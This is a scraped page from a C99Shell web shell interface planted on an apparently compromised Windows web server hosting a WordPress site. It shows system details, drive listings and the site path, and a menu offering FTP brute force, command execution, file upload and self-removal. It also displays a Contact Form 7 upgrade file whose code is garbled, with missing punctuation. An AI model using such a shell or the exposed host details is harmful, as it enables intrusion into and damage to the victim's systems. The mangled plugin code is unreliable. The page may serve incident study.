!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\nuevo\htdocs\bogotacumbredelclima\wp-content\plugins\contact-form-7\includes\   drwxrwxrwx
Free 1.08 GB of 239.26 GB (0.45%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     upgrade.php (2.01 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

add_action
'wpcf7_upgrade''wpcf7_convert_to_cpt'10);

function 
wpcf7_convert_to_cpt$new_ver$old_ver ) {
    global 
$wpdb;

    if ( ! 
version_compare$old_ver'3.0-dev''<' ) )
        return;

    
$old_rows = array();

    
$table_name $wpdb->prefix "contact_form_7";

    if ( 
$wpdb->get_var"SHOW TABLES LIKE '$table_name'" ) ) {
        
$old_rows $wpdb->get_results"SELECT * FROM $table_name);
    } elseif ( ( 
$opt get_option'wpcf7' ) ) && ! empty( $opt['contact_forms'] ) ) {
        foreach ( (array) 
$opt['contact_forms'] as $key => $value ) {
            
$old_rows[] = (object) array_merge$value, array( 'cf7_unit_id' => $key ) );
        }
    }

    foreach ( (array) 
$old_rows as $row ) {
        
$q "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_old_cf7_unit_id'"
            
$wpdb->prepare" AND meta_value = %d"$row->cf7_unit_id );

        if ( 
$wpdb->get_var$q ) )
            continue;

        
$postarr = array(
            
'post_type' => 'wpcf7_contact_form',
            
'post_status' => 'publish',
            
'post_title' => maybe_unserialize$row->title ) );

        
$post_id wp_insert_post$postarr );

        if ( 
$post_id ) {
            
update_post_meta$post_id'_old_cf7_unit_id'$row->cf7_unit_id );

            
$metas = array( 'form''mail''mail_2''messages''additional_settings' );

            foreach ( 
$metas as $meta ) {
                
update_post_meta$post_id'_' $meta,
                    
wpcf7_normalize_newline_deepmaybe_unserialize$row->{$meta} ) ) );
            }
        }
    }
}

add_action'wpcf7_upgrade''wpcf7_prepend_underscore'10);

function 
wpcf7_prepend_underscore$new_ver$old_ver ) {
    if ( 
version_compare$old_ver'3.0-dev''<' ) )
        return;

    if ( ! 
version_compare$old_ver'3.3-dev''<' ) )
        return;

    
$posts WPCF7_ContactForm::find( array(
        
'post_status' => 'any',
        
'posts_per_page' => -) );

    foreach ( 
$posts as $post ) {
        
$props $post->get_properties();

        foreach ( 
$props as $prop => $value ) {
            if ( 
metadata_exists'post'$post->id(), '_' $prop ) )
                continue;

            
update_post_meta$post->id(), '_' $prop$value );
            
delete_post_meta$post->id(), $prop );
        }
    }
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--